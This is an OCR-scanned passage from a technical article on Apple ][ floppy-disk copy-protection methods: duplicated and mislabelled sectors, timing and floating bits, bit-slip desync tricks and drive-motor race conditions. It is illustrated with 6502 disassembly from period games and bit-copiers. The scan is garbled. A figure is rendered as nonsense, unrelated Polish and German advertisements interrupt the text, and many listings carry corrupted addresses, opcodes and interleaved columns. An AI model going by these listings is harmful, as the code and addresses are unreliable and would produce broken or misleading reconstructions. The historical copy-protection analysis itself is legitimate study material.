three times the size, you would have RWTS18. This is a good
compromise between speed and density. On one side, having
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fewer sectors means less processing; and on the other side, having
more sectors means less latency to find a sector. The RWTS18
routine also supports ‘read scattering” by assigning a dummy
write address to the pages that aren’t needed.

This second technique was used very heavily by Brgderbund,
on programs such as Airheart (and even three years later, on
Prince of Persia), but other companies made use of it, too, such
as Infogrames in Hold-Up. Interestingly, in the case of Airheart,
after compressing the title screen to reduce its size on the disk,
the rest of the game fit on a regular 16-sector disk.

Big sectors

There is no requirement to define multiple sectors per track. It
is possible to define a single sector that spans the entire track.*4
However, there can be a significant time penalty while reading
such a track, because it requires up to one complete rotation in
order to find the start of the sector.

Lady Tut uses a single sector per track, at a size equivalent to
eleven 256-byte sectors.

Encoded sectors

As noted previously, there is no reason for a disk to use our sixth
table—there is no reason to have the nibbilisation entries in that
order, nor even to use those values at all. Any alteration to
the table results in a disk that can be copied freely, but whose

44 This would be the equivalent of about 18.5 256-byte sectors in 6-and-2
encoding. Using 19 sectors is possible, if the full range of values from
the first figure is used, but it introduces a problem to identify the start
of the sector, since there are no single values that can be reserved exclu-
sively. One possible solution is to find a sequence which cannot appear in
user-data due to particular characteristics of the decoding process. Just
because it is possible, it doesn’t mean that it’s easy.

242



10:7 Apple ][ Copy-Protection Techniques by Peter Ferrie

gap 1

6 6 - gap [2-3] 6

F F 8 F 1

2 ¢ F 0 4 7 ‘ F 0 4 E . B

D \3 \ gap: [7-8] ) 3 D \3

sectors
B 5

sectors sectors
5

]

- 9 E 9 D 3
6 & physical a 7 6 ® physical 0 2 C & physical M 4
8° 5/ D A B 5

A A - 3 ’l, logical = : 3 A \ ° s 7 6
Ir?ugrir?:alering C E 1\ - I”‘ngb‘L”nQ C 4 B 9 8 7
DOS Pascal Hard Hat Mack

(then ProDOS)

Figure 10.17: Floppy sectors interleaving.

contents cannot be read from the outside. Further, the DOS
on such a disk cannot write files from the inside to the outside.
The reason why the read would fail is because the standard table
would be applied to data that requires the alternative table to
decode, resulting in the wrong decoding. The reason why the
write would fail is because the alternative table would be applied
to data that requires the standard table to encode, resulting in
the wrong encoding.

Maze Craze Construction Set uses an alternative nibble table—
all of the values from #$A9-FF from our first table. These values
might have been chosen because they provide the least sparse
array when used as indexes.

Bop’N Wrestle uses the regular nibble table and a standard
DOS 3.3, but in reverse order.

Duplicated sectors

The address field carries the sector number, but the controller
does not need or use this information, except when the boot
PROM is requested to read a sector. Therefore, it is possible
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to have multiple sectors with the same number.*> There are

numerous ways in which they could be distinguished, such as by
the volume number. A protection technique could set every sector
number to the same value in the address field. It could set them
all to zero, provided that the checksum algorithm is changed, so
that the boot PROM will read successfully only the true sector
zero, in order to boot the disk. It could also use the volume
number from the address field as the page number in which to
write the sector data. This would be a very compact way to load
data without the need to pass the address as a parameter to the
loader.

Math Blaster has two sectors numbered zero on track zero.
The program distinguishes between them by examining the first
nibble after the address field epilogue, but the checksum of the
second sector zero also fails verification, which is why the boot
PROM does not see it. This protection cannot be reproduced by
a sector-copier or track-copier, because those copiers will write
only a single sector zero to a track. It is unpredictable which
of the two sector zeroes would be written, but even if the true
one is chosen, the copy is revealed by the program missing the
duplicated sector.

Sector numbering

The address field carries the sector number, but the controller
does not need or use this information, except when the boot
PROM is requested to read a sector. Therefore, it is possible to
have sectors whose number is not in the range of zero to fifteen.*6
Any eight-bit value can be used, as long as the program is expect-

45 The same is true for the track number, and Jumble Jet has multiple tracks
which claim to be track zero.

46 The same is true for the track number. That is, a number which is not
in the range of zero to 34.
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ing it. This protection cannot be reproduced by a sector-copier,
because the copier will not copy those sectors at all.

Sector location

The address field carries the track and sector number, but the
controller does not need or use this information, except when the
boot PROM is requested to read a sector. Therefore, it is possible
for a sector to “lie” about its location on the disk. For example,
the address field of sector three on track zero could label itself as
sector zero on track three. This protection cannot be reproduced
by a sector-copier which relies on DOS to perform the write,
because they will not duplicate this information, because DOS
will fill in the address field by itself when placing the sector on
the disk. Thus, a program that seeks to a track that contains
“misplaced” sectors will not find any misplaced sectors, or will
receive the wrong content instead.

Discover uses this technique; it changes the identity of one
particular sector in the sector interleave table, on one particular
track.

Synchronised sectors

Since the approximate rotation speed of the drive is known to be
roughly 300 RPM, it becomes possible to place sectors at spe-
cific locations on a track, such that they have a special position
relative to other sectors on the same track. This is difficult to
reproduce because of the delay that is introduced while a sector-
copier is writing the data.

Hard Hat Mack takes this to the extreme, by requiring that one
track has all 16 sectors in incremental order. This protection is
highly unlikely to be reproduced by using a sector-copier, because
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after factoring in the rotation speed of the drive, the next sector
is more likely to be placed halfway around the disk.

Bad sectors

Some protections rely on the fact that intentionally bad sectors
should return a read error. For example, checksum mismatch in
the simplest case, but potentially physical damage could be used,
too.

Drelbs uses this technique. This protection cannot be repro-
duced even with a bit-copier, because the copy will have no sec-
tors that cannot be read.

Dead-space bytes

The data for a sector is well defined, but apart from the optional
presence of the self-synchronizing values, the data between sec-
tors is not defined at all. As a result, it is not often copied,
either. It is possible to place specific counts of specific values in
this location, which can be checked later. A program can detect
a copy by the absence or wrong count of the special values.

Randamn checks the value of the byte immediately before the
prologue of a particular sector, and reboots if the value looks like
a self-synchronizing value. (A bit-copier might insert this values
when asked to match the track length, and a sector-copier would
always insert the value.)
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Binomial Multiplication counts the number of values that ap-
pear between the address field epilogue and the data field pro-
logue, and between the data field epilogue and the next sector
address field prologue, for all of the sectors on a particular track.
This protection cannot be reproduced by a sector-copier or a
track-copier, because those copiers will discard the original data
between the sectors.

Timing bits

The Disk || controller shifts in bits at a rate equivalent to one bit
every four CPU cycles, once the first one-bit is seen. Thus, a full
nibble takes the equivalent of 32 CPU cycles to shift in. After the
full nibble is shifted in, the controller holds it in the QA switch of
the Data Register for the equivalent of another four CPU cycles,
to allow it to be fetched reliably. Those four CPU cycles elapse,
and once a one-bit is seen, the QA switch of the Data Register
will be zeroed, and then the controller will begin to shift in more
bits. The significant part of that statement is “once a one-bit
is seen.” It is possible to intentionally introduce “timing” (zero)
bits into the stream in order to delay the reset. For each zero-bit
that is present, the previous value will be held for another eight
CPU cycles. For code that is not expecting these zero-bits to be
present, a nibble that is being held back will be indistinguishable
from a nibble that has newly arrived.

Oscyloskopy
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pALoooNE Lz oA GWARANCJA: 3 LATA | |

SAMPLING : 20 - 100 Mb/sek.
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Creation uses this technique.

;wait for nibble to arrive
B94F LDA $c08C,X
B952 BPL $BO4F

;watch for #$D5
B954 CMP #$D5
B956 BNE $B948

;delay to ensure > 4 cycles
;before the next read occurs
B958 NOP

;read data latch
B959 LDA $C08C , X

;Check if nibble has changed.
;If zero-bit is present,
;then read value lasts longer
B95C CMP #$D5

B95SE BEQ $B972

Hacker II requires a pattern of zero-bits in the stream. The
effect of the delayed shift becomes clear when we count cycles.

;jinitialise mask
403A LDA #$08

;wait for nibble to arrive

4044 LDY $Cco8C,X

4047 BPL $4044 ;2 cycles
;watch for #$FB

4049 CPY #$FB ;2 cycles
404B BNE $403A ;2 cycles

;not a do-nothing instruction!
;exists to be timing-identical
;to the BEQ at $4062

404D BEQ $404F ;3 cycles
404F NOP ;2 cycles
4050 NOP ;2 cycles
;read data latch

4051 LDY $C08C,X;4 cycles

;check how many bits have
;shifted in

4054 CPY #$08
;shift carry into A
4056 ROL

;until set bit is shifted out
;(takes five rounds)
4057 BCS $4064
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;wait for nibble to arrive

4059 LDY $C08C , X

405C BPL $4059 ;2 cycles
;watch for #$FF

405E CPY #$FF ;2 cycles
4060 BNE $403A ;2 cycles
4062 BEQ $404F ;3 cycles
;wait for nibble to arrive
4064 LDY $C08C , X

4067 BPL $4064

;remember its value

4069 STY $07

;check if pattern was seen
;(alternating zero-bit)

406B CMP #$0A

406D BNE $403A

;wait for nibble to arrive
406F LDA $C08C , X

4072 BPL $406F

;checksum against previous
;value must both be #$FF
4074 SEC

4075 ROL

4076 AND $07
4078 EOR #$FF
407A BEQ $4080
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The timing loop is long enough for four nibbles to be shifted
in if no zero-bit is present, resulting in a value of at least #$08.
(Specifically the right-hand “F” from the value “FF”.) If a zero-
bit is present, then fewer than four nibbles will be shifted in,
resulting in a value of less than #$08. This explains the “CPY
#$08” instruction at $4054. It is checking if a one-bit has been
shifted in four times or three times.

The “CMP #$0A” instruction at $406B is checking the final re-
sults of the multiple CPYs that were made. In binary, the results
look like 01010 but prior to that, the results progress like this:

00010000
00100001
01000010
10000101
00001010

That means it is expecting the first pass to have a value of less
than eight (carry clear), then a value of at least eight (carry set),
then a value of less than eight (carry clear), then a value of at
least eight (carry set), and finally a value of less than eight (carry
clear), followed by two “FF’s. That requires the stream to look
like FB O FF FF O FF FF 0 Fx FF FFe

Floating bits

What happens if more than two consecutive zero-bits are present
in a stream? Something random. The Automatic Gain Con-
trol circuit will eventually insert a one-bit because of amplified
noise. It might happen immediately after the second zero-bit, or
it might happen after several more zero-bits. The point is that
reading that part of the stream repeatedly will yield different
responsese
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Mr. Do! uses this technique.

;set counter to be used later

0710 LDY #$06

;set state

0713 LDA #$FF

0715 STA $07C2

;wait for nibble to arrive
0718 LDA $C088 ,X
071B BPL $0718
;watch for #$D5

071D CMP #$D5

071F BNE $0718

;wait for nibble to arrive
0721 LDA $C088 ,X
0724 BPL $0721
;watch for #$9B

0726 CMP #$9B

0728 BNE $071D

;wait for nibble to arrive
072A LDA $C088 ,X
072D BPL $072A
;watch for #$AB

072F CMP #$AB

0731 BNE $071D

;wait for nibble to arrive
0733 LDA $C088 ,X
7036 BPL $0733
;watch for #$B2

0738 CMP #$B2

073A BNE $071D

;wait for nibble to arrive
073C LDA $C088 ,X
073F BPL $073C

;watch for #$9E

0741 CMP #$9E

0743 BNE $071D

;wait for nibble to arrive
0745 LDA $C088 ,X
0748 BPL $0745
;watch for #$BE

074A CMP #$BE

074cC BNE $071D

;wait for nibble to arrive
074E LDA $C088,X
0751 BPL $074E

;loop six times

0753 DEY

0754 BNE $074E
;change state

0756 INC $07C2

0759 BNE $2761

;store last read value

;on first pass

075B STA $07C3
;allow complete revolution
;and read again

075E JMP $071D
;Check last read value on
;subsequent pass. Must be
;different from the first pass
0761 CMP $07C3

0764 BNE $0771
;retry up to four times

0766 INC $07C2
0769 LDA $07C2
076C CMP #$08

076E BNE $271D

On the first pass, the program watches for the sequence $#D5
#$9B #$AB #$B2 #$9E #3$BE, skips the next five nibbles, and
then reads and saves the sixth nibble. On subsequent passes, the
program watches again for the sequence $#D5 #$9B #$AB #$B2
#$9E #$BE, skips the next five nibbles, and then reads and com-
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pares the sixth nibble against the sixth nibble that was read ini-
tially. The value that is read will always be a legal value, but on
the original disk, with multiple zero-bits in the stream, the value
that was read in one of the subsequent passes will not match the
value that was read in the first pass. No matter how many ex-
tra zero-bits existed in the stream, the bit-copier will not write
them out. Instead, it will “freeze” the appearance of the stream,
and normalise it so that there are no more than two zero-bits
emitted. As a result, the sixth nibble that was read will have the
same value for all passes, and therefore fail the protection checks

Nibble count

Since a track is simply a stream of bits, it is possible to control the
layout of the values in that stream, as long as it follows the rules
of the hardware. The number of self-sychronizing values can be
reduced to a single set of the minimum number, if performance
is not a consideration. That means there are no other zero-bits
present on the track. However, a bit-copier cannot detect the
zero-bits reliably (neither their presence, nor their number), so it
is left to guess if the value #$FF must be stored using eight or ten
bits. (That is, if it is a data nibble or a self-synchronizing value.)
If there are enough #$FF bytes on a track, and if the bit-copier
assumes that every one of them must be ten bits wide, then it is
possible that the bit-copier will write more data than can fit on
the track, resulting in part of the track being overwritten when
the revolution completes before the write completes.

As a separate technique, it is also possible to reduce the speed
of the drive while writing the data to the original disk, resulting
in a track that is so dense, that the data cannot fit on a disk
when written at regular speed. This is known as a “fat” track.

The more common technique is to simply use a sequence of nib-
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bles with enough zero-bits between them, that the “delayed fetch”
effect is triggered. (§10:7.2.) When the zero-bits are present, and
if the fetch is fast enough,*” then there will appear to be more
nibbles of a particular value than really exist, because the next
bit will not be ready to shift in. A program that counts the
number of nibbles will see more nibbles in the copy than in the
original.

If the fetch is slow enough; well, this is an interesting case.
Bit-copiers try to read the data as quickly as it comes in. This
is done not by polling the QA switch of the Data Register, but
by checking if the top bit is already set, in an unrolled loop.

BMI TDS3
32 cycle delay so LDA $COEC, X
;shift might finish BMI TDS3
TDL1 NOP ;3 cycle penalty if taken!
;try to detect timing bit BPL TDL2
LDA $COEC, X TDS2 STA ($0), Y
BMI TDS2 e
TDL2 LDA $COEC, X RTS
BMI TDS2

;store value with timing bit

;timing bit probably present ;loses one bit as a result

LDA $COEC, X TDS3 AND #$7F
BMI TDS3 STA ($0), Y

LDA $COEC, X e

BMI TDS3 RTS

LDA $COEC, X

This code is a disassembly from Essential Data Duplicator
(E.D.D.), but apart from the BPL instruction, it is shared by
Copy |[+. (Someone copied!) Normally, a nibble will be shifted
in before TDL2 completes, so that TDS2 is reached, and the nibble
is stored intact. However, by using only six fetches, the code is
vulnerable to a well-placed timing bit, such that the BPL will be

47That is, it polls the QA switch of the Data Register while the top bit is
clear, stores the fetched value, and then resumes polling.
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reached just before the last bit of the nibble is shifted in. That
three-cycle time penalty when the branch is taken is just enough
that, when combined with the two-cycle instruction before it, the
shift will complete, and the four CPU cycles will elapse, before
the next read occurs. The result is that the nibble is missed,
and the next few nibbles that arrive will reach TDS3 instead, los-
ing one bit each. When those data are written to disk by the
bit-copier, the values will be entirely wrong.

Create With Garfield: Deluxe Edition uses this technique. (The
original Create With Garfield uses an entirely different protec-
tion.) It has one track that is full of repeated sequences. Each
of the sequences has a prologue of five bytes in length. Every
second one of the prologues has a timing bit after each of the five
bytes in the prologue. In the middle of the track is a collection of
bytes which do not match the sequence, so the track is essentially
split into two groups of these repeated sequences. The size of the
two groups is the same. When the bit-copier attempts to read
the data, the timing bits cause about half of the sequences to
be lost. What remain are far fewer sequences than exist on the
original disk. (Enough of them that the bit-copier mistakenly
believes that it has copied the track successfully.) A program
can detect a copy by the small count of these sequences. This
technique is likely to have been created to defeat E.D.D. specifi-
cally, but Copy |[+ is also affected. However, the protection can
be reproduced with the use of a peripheral that connects to the
drive controller (and thus see the zero-bits for exactly what they
are), or by inserting an additional fetch in the software.
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Bit-flip, or defeat bit-copiers with this one weird trick

Deeply technical content follows. Prepare yourself!
Let’s take this simple sentence (sorry, but it’s the best example
that I could create at the time):

ITHASGOTTOBETHISLANDAHEAD
And split it according to some potential word boundaries:
IT HAS GOT TO BE THIS LAND AHEAD
Now we skip a bit:
OTTO BETH ISLAND AHEAD

A bit more:

TO BETH ISLAND AHEAD
A bit more still:

BET HIS L. AND A HEAD

Okay, that last one doesn’t make much sense, but I wanted a
sentence which could be read differently, depending on where you
started reading, as opposed to a series of arbitrary overlapping
words. In any case, it’s clear that depending on where you start
reading, you can get vastly different results. Something similar
is possible while reading the bitstream from the disk. After a
nibble is shifted in (determined by the top bit being set), and
the four CPU cycles have elapsed, and once the one-bit is seen,
then the QA switch of the Data Register is set to zero. The
absence of a counter allows the hardware to be fooled about how
many bits have been read. Specifically, the controller can be
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convinced to discard some of the bits that it has read from the
disk while forming a nibble, and then the starting position within
the stream will be shifted accordingly. This is possible with a
single instruction, in conjunction with an appropriate delay.

After issuing an access of Q6H ($C08D + (slot x 16)), the QA
switch of the Data Register will receive a copy of the status bits,
where it will remain accessible for four CPU cycles. After four
CPU cycles, the QA switch of the Data Register will be zeroed.
Meanwhile, assuming that the disk is spinning at the time, the
Logic State Sequencer (LSS) continues to shift in the new bits.
When the QA switch of the Data Register is zeroed, it discards
the bits that were already shifted in, and the hardware will shift
in bits as though nothing has been read previously. Let’s see that
in actione

TRS'SONG Hard- und Software
ROM-Listing

@ Volist. disass. und deutsch kommentiert;

® RAM-I/O-Adressen;

® Vergleich der verschiedenen TRS-80/VIDEO-
GENIE-Versionen;

® 150 genau erlduterte Unterprogramme;

® und vieles mehr (s. auch Kritiken in mc 1/82 und
cp 13/82).

129 Seiten gebiindelte (und gebundene) Information
f. 69,55 DM inkl. MwSt.

L. Rockrath

NoppiusstraRe 19, 5100 Aachen, Telefon (02 41) 3 49 62.
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Tinka’s Mazes does it this way, beginning with some pream-
ble code which is common to many programs that used this

techniques

BB80 BEQ $BBBB
BB6A LDY #0 ;watch for #$E7
;wait for nibble to arrive BB82 CMP #$E7
BB6C LDA $C08C , X BB84 BNE $BB7A
BB6F BPL $BB6C ;wait for nibble to arrive
BB71 DEY BB86 LDA $cos8c,X
;retry up to 256 times BB89 BPL $BB86
BB72 BEQ $BBBB ;watch for #$E7
;watch for #$D5 BB8B CMP #$E7
BB74 CMP #$D5 BB8D BNE $BBBB
BB76 BNE $BB6C ;wait for nibble to arrive
BB7§ LDY. #0 ) BBSF LDA $C08C,X
;wait for nibble to arrive BB92 BPL $BBSF
BB7A LDA $C08C , X ;watch for #$E7
BB7D BPL $BB7A BB94 CMP #$E7
BBTF DEY BB96 BNE $BBBB
;retry up to 256 times

Here is the switch:

;compare backwards against the
;trigger desync ;1list at $BBC1
BB98 LDA $cosD, X ;E7 FC EE E7 FC EE EE FC
BB9B LDY #$10 BBB2 CMP ($48),Y
;delay to ensure > 4 cycles BBB4 BNE $BBBB
;before the mnext read occurs BBB6 DEY
BB9D BIT $6 BBB7 BPL $BBAD
;wait for nibble to arrive ;pass
BBOF LDA $cosc, X BBB9 CLC
BBA2 BPL $BBOF BBBA RTS
BBA4 DEY BBBB DEC $50
;retry up to 16 times ;retry if count remains
BBAS BEQ $BBBB BBBD BNE $BB57
;watch for #S$EE ;fail
BBA7 CMP #$EE BBBF SEC
BBA9 BNE $BBOF BBCO RTS
BBAB LDY #7 BBC1 .BYTE $FC,$EE, $EE, $FC,
;wait for nibble to arrive $E7 ,$EE, $FC, $E7
BBAD LDA $C08C , X
BBBO BPL $BBAD
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But wait, there’s more! To see the bitstream on disk, it looks
like D5 E7 E7 E7 E7 E7 E7 E7 E7 E7 E7 E7 with some harm-
less zero-bits in between. So from where do the other values
come? Since the magic is in the timing of the reads, we must
count cycles:

BB8F LDA $C08C, X
BB92 BPL $BB8F 2 cycles
BB94 CMP #$E7 2 cycles
BB96 BNE $BBBB 2 cycles
BB98 LDA $C08D,X ; 4 cycles
BB9B LDY #$10 2 cycles
BB9D BIT $6 3 cycles
total: 15 cycles

Time passes. ..

One bit is shifted in every four CPU cycles, so a delay of 15
CPU cycles is enough for three bits to be shifted in. Those bits
are discarded. Back to our stream. In binary, it looks like the
following, with the seemingly redundant zero-bits in bold.
11100111 0 11100111 00 11100111 11100111 0 11100111 00
11100111 11100111 0 11100111 0 11100111 11100111

However, by skipping the first three bits, the stream looks like
this:

00 11101110 0 11100111 00 11111100 11101110 0 11100111 00
11111100 11101110 0 11101110 0 11111100 111...

The old zero-bits are still in bold, and the newly exposed zero-
bits are in italics. We can see that the old zero-bits form part
of the new stream. This decodes to E7 FC EE E7 FC EE EE FC,
and we have our magic valuess

Programs from Epyx that use this protection do not compare
the values in the pattern. Instead, the values are used as a key
to decode the rest of the data that are loaded. This hides the
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expected values, and causes the program to crash if they are
altered.

The Thunder Mountain version of Dig Dug uses a slight varia-
tion on the technique, including a different preamble and switch.
The company seems to have kept the variation to themselves.
(Bop’N Wrestle from 1986 uses the same altered version, and
comes from Mindscape, but Mindscape owned the Thunder Moun-
tain label, so the connection is clear.)?® That version looks like
this:

;retry up to 256 times

0224 LDY #$00 022C BEQ $2275
;wait for nibble to arrive 022E CMP #$AD
0226 LDA $C08C,X 0230 BNE $2226
0229 BPL $2226

022B DEY

A different prologue value is checked, allowing the bitstream
to begin like a regular sector: D5 AA AD...
Here is the switch:

;trigger desync

02562 LDA $C08D,X

0255 LDY #$10

;no delay instruction in this version

;wait for nibble to arrive

0257 LDA $C08C,X

025A BPL $2257

025C DEY

;retry up to 16 times

025D BEQ $2275

;watch for #$E7 instead, but it’s not a ‘‘true’’ E7
025F CMP #$E7

0261 BNE $2257

;and double the size of the pattern to match
0263 LDY #$OF

48 Interestingly, one title from Thunder Mountain and released in the same
year is known to use the regular version. It is entirely possible that the
alternative version was developed in-house to avoid paying royalties to
protect other products.
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The bitstream on disk looks like D5 AA AD [many 96s| E7 E7
E7 E7 E7 E7 E7 E7 E7 E7 E7 with some harmless zero-bits in
between. The desync timing is only 12 cycles, but the required
pattern is not found right away, so the delay is not as interest-
ing. In binary, the stream looks like 11100111 11100111 11100111
00 11100111 O 11100111 0 11100111 0 11100111 00 11100111
00 11100111 O 11100111 00 11100111 0 11100111 O 11100111
0 11100111 00 11100111 0 11100111 00 11100111 0 11100111 O
11100111 with the seemingly redundant zero-bits in bold. How-
ever, by skipping the first three bits, the stream looks like this:
00 11111100 11111100 11100111 (+ E7, but not aligned) 00
11101110 0 11101110 0 11101110 0 11100111 00 11100111 00
11101110 0 11100111 00 11101110 0 11101110 0 11101110 0
11100111 00 11101110 ¢ 11100111 00 11101110 0 11101110 0
111...

The old zero-bits are still in bold, and the newly exposed zero-
bits are in italics. We can see that the old zero-bits form part of
the new stream. This decodes to FC (ignored) FC (ignored) E7 EE
EE EE E7 E7 EE E7 EE EE EE E7 EE E7 EE EE, a very smooth
sequence indeed. Put simply, each single bold zero-bit sequence
results EE being seen, and every double bold zero-bit sequence
results in E7 being seen, allowing easy control over exactly how
smooth the sequence is.
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1-2-3 Sequence Me uses the same technique but with different

values:

;wait for nibble to arrive

BASB LDA $C08C, X
BASE BPL $BASB
;watch for #$AA

BA60 CMP #$AA
BA62 BEQ $BATA
BATA LDY #$02

;trigger desync

BA7C

;jdelay while status is loaded

BA7F

;balance stack

BA8O

;wait for nibble to arrive

BA81

LDA

PHA

PLA

LDA

$co8D, X

$cos8cC,X

BA84 BPL $BA81
;watch for #$BB

BA86 CMP #$BB

BA88 BEQ $BABF
BABA DEY

;retry if count remains
BASB BPL $BA81
;fail

BA8D BMI $BAT7
;wait for nibble to arrive
BASF LDA $C08C , X
BA92 BPL $BABF
;watch for #$F9

BA94 CMP #3$F9

BA96 BNE $BAT77

That stream looks like AA EB 97 DF FF with some harmless
zero-bits in between. Now let’s count the cycles:

BA5B LDA $co8C ,X

BASE BPL $BA5B ;2 cycles
BA60 CMP #$AA ;2 cycles
BA62 BEQ $BATA ;3 cycles
BA7A LDY #$02 ;2 cycles
BA7C LDA $co08D ,X ;4 cycles
BA7F PHA ;3 cycles

;total: 16 cycles

One bit is shifted in every four CPU cycles, so a delay of 16
CPU cycles is enough for four bits to be shifted in. Those bits
are discarded. Back to our stream. In binary, it would look like
11101011 0 10010111 0 11011111 00 11111111, with the seem-
ingly redundant zero-bits in bold.

However, by skipping the first four bits, the stream looks a bit
different. 10110100 10111011 ¢ 11111001 111111...
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The old zero-bits are still in bold, and the newly exposed zero-
bit is in italics. We can see that the old zero-bits form part of
the new stream. This decodes to B4 (ignored) BB F9 Fx, and
we have our magic values.

The 4th R: Reasoning uses another variation of this technique.
Instead of matching the values explicitly, it watches for the data
field on a particular sector, waits for three nibbles and three bits
to pass, and then reads and stores the next 16 nibbles in an array.
Then it calculates a checksum of those 16 nibbles, and uses the
checksum as an index into the table of those 16 nibbles, to fetch
two 8-bit keys in a row. The table is treated as a circular list, so if
the index were 15, then the two keys would be formed by fetching
the last entry in the array and the first entry in the array. The
keys are used to decipher the other nibbles that are read from all
of the other sectors on the disk. It looks like this:

;delay to reduce times

;wait for nibble to arrive :that branch will be taken
BB63 LDA $Cc08C, X BB75 NOP
BB66 BPL $BB63

;wait for nibble to leave
;if zero-bit is present,
;then read value lasts longer

;wait for status value to
;leave if zero-bit is present
;then read value lasts longer

BB6S  LDA  $C08C,X BB76  LDA  $CO8C,X
BB6B BMI $BB68 BR79 BMI $BB76
;wait for nibble to arrive

BB6D LDA $cosc, X ;wait for next nibble
BB70 BPL $BB6D BB7B LDA $C08C, X
;trigger desync BB7E BPL $BB7B
BB72 STA $C08D , X

That stream looks like CF CF 9E FD ED BB E6 B6 ED FB FC
EB DF DE D3 D9 FF D9 DD D7 with some harmless zero-bits in
between. Now let’s count those cycles.
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BB76 LDA $C08C,X ;4 cycles
;but +4 cycles for each time
;reached because of zero-bit

BB63 LDA $cosc,X
BB66 BPL $BB63

BB68 LDA  $CO8C,X BB79 BMI  $BB76 ;2 cycles
BB6B  BMI $BB68 ;but +3 for each time BMI is
BB6D LDA $cosc, X ;taken because of zero-bit.
BB70 BPL $BB6D ;32 cycles

BB72 STA $C08D ,X ;5 cycles ;total 15, 22 or 29 cycles
BB75 NOP ;2 cycles

One bit is shifted in every four CPU cycles, so a delay of 15
CPU cycles is enough for three bits to be shifted in. A delay
of 22 CPU cycles would normally be enough for five bits to be
shifted in. However, if the delay is caused by the presence of a
zero-bit, then it behaves as though the delay were only 18 CPU
cycles, which is enough for four bits to be shifted in. A delay of
29 CPU cycles is enough for seven bits to be shifted in. However,
if the delay is caused by the presence of a second zero-bit, then
it behaves as though the delay were only 21 CPU cycles, which
is enough for five bits to be shifted in. In any case, the routine is
written to discard a fixed number of regular bits, along with any
zero-bits that are also present. Back to our stream, in binary, it
would look like this, with the seemingly redundant zero-bits in
bold.

11001111 11001111 0 10011110 11111101 0 11101101 10111011
11100110 10110110 11101101 11111011 0 11111100 11101011
11011111 11011110 11010011 11011001 11111111 11011001
11011101 0 11010111

However, by skipping the first three bits, the stream looks a
bit different.

0 11110100 11110111 11101011 10110110 11101111 10011010
11011011 10110111 11101101 11111001 11010111 10111111 10111101
10100111 10110011 11111111 10110011 10111010 11010111

The old zero-bits are still in bold, and the newly exposed zero-

bit is in italics. We can see that the old zero-bits form part of
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the new stream. This decodes to F4 F7 (both ignored) EB B6 EF
9A DB B7 ED F9 D7 BF BD A7 B3 FF B3 BA. The trailing val-
ues are stored backwards, and the checksum is #$67. The low
four bits (7) are the index into the table, and the values at offset
7 and 8 are #$D7 and #3$F9.

A bit-copier that misses any of these zero-bits will write a track
whose length and contents do not match the originale

Race conditions

Page 4 of the Software Control of the Disk |[ or IWM Controller
document states that “The Disk |[ controller hardware will keep
the ENABLE/ signal to its active low state for approximately one
second after the execution of the motor off instruction, therefore
read /write can be performed reliably within this period.” So, a
program can issue the motor off instruction, and then read sector
data successfully for up to one second afterwards.

This behavior functions as a very nice anti-debugging mecha-
nism, since single-stepping through the disk access code, after the
motor-off instruction has been issued, will cause the time period
to be exceeded. Thus, the disk won’t be readable at that time.
Sherwood Forest uses this technique.

Page 4 of the Software Control of the Disk |[ or IWM Controller
document also states that “...the program should verify that the
motor is spinning by monitoring the change in data pattern read
from the drive.” That is to say, while the drive is spinning, the
value will change. Once the drive stops spinning, the value will
not change anymore.

Lady Tut uses this technique. It issues the motor-off instruc-
tion, and then reads continually from the drive until it sees two
consecutive bytes of the same value. The program assumes at
that point that the drive is no longer spinning. Periodically there-
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after, the program reads from the QA switch of the Data Register,
and compares the newly read value with the initially read value.
If a different value is seen, then the program triggers a reboot.

In section 9-14 of Understanding the Apple |[, Jim Sather says,
“any even address could be used to load data from the data reg-
ister to the MPU, although $C088 ...would be inappropriate.”
It might be considered inappropriate because of the one-second
window noted previously, but that’s exactly how the program
Mr. Do! uses it. By reading from $C088, the program is able to
issue the motor off instruction, and fetch the data at the same
time. It is compact and useful for anti-debugging.

Faster pussycat

Another kind of race condition revolves around how quickly the
data can be read from the disk. Borrowed Time, for example,
reads an entire track in one revolution. In an interview for the
Open Apple podcast, Rebecca Heineman says that she performs
the decoding while the seek is in progress. While this is cer-
tainly possible, it would incur the significant overhead of having
to store all 16 of the two-bit arrays—a total of 1.3kB! — before
any decoding could occur. Of course, this is not what was done.
Instead, each sector is read individually, but the denibbilisation
is interleaved with the read. It means that the sector is decoded
directly into memory, with only 86 bytes of overhead for a single
two-bit array, and the use of two tables of 106 bytes and 256
bytes respectively. It is obviously fast enough to catch the next
sector that arrivese
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The code looks like this, after validating the data field prologue:

0946 LDY #$AA

;zero rolling checksum
0948 LDA #0

094A STA $26

;wait for nibble to arrive
094C LDX $COEC

094F BPL $94C

;index into table of offsets
of structures

0951 LDA $A00,X
;store offset

0954 STA $200,Y
;update rolling checksum
0957 EOR $26
;fetch 86 times

0959 INY

095A BNE $944
095C LDY #$AA
095E BNE $963
;store decoded value
0960 STA $9F55,Y
;wait for nibble to arrive
0963 LDX $COEC
0966 BPL $963

;update rolling checksum

0968 EOR $A00,X

;fetch structure offset,

;bits 0-1

096B LDX $200,Y

;jmerge first member of two-bit
;structure with six-bit value
;to recover eight-bit value

096E EOR $B00 ,X
;loop 86 times

0971 INY

0972 BNE $960

;save 85th value for 1last
0974 PHA

;clear low two bits

0975 AND #$FC

0977 LDY #$AA

;wait for nibble to arrive
0979 LDX $COEC

097C BPL $979

;update rolling checksum
097E EOR $A00,X
;fetch structure offset,
;bits 2-3

0981 LDX $200,Y
;merge second member of
;two-bit structure with
;six-bit value to recover
;eight -bit value

0984 EOR $BO1,X
;store decoded value
0987 STA $9FAC,Y
;loop 86 times

098A INY

098B BNE $979

;wait for nibble to arrive

098D LDX $COEC
0990 BPL $98D
;clear low two bits
0992 AND #$FC
0994 LDY #$AC

;update rolling checksum

0996 EOR $A00,X

;fetch structure offset,
;bits 4-5

;offset -2 to account for Y+2
0999 LDX $1FE,Y

;merge third member of two-bit
;structure with six-bit value
;to recover eight-bit value
099C EOR $B02,X

;store decoded value

099F STA $A000,Y
;wait for nibble to arrive
09A2 LDX $COEC

09A5 BPL $9A2

;loop 84 times

09A7 INY

09A8 BNE $996
;clear low two bits

09AA AND #$FC

;update rolling checksum
09AC EOR $A00,X
;restore slot to X

09 AF LDX $2B
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s;retry if checksum mismatch 09BD SEC

09B1 TAY 09BE .BYTE $24

09B2 BNE $9BD 09BF CLC

;wait for nibble to arrive ;store 85th decoded value
09B4 LDA $COEC 09CoO PLA

09B7 BPL $9B4 09C1 LDY #$565
;check only 1st epilogue byte 09C3 STA ($44),Y
09B9 CMP #$DE 09C5 RTS

09BB BEQ $9BF

The exact way in which the technique works is as follows. First,
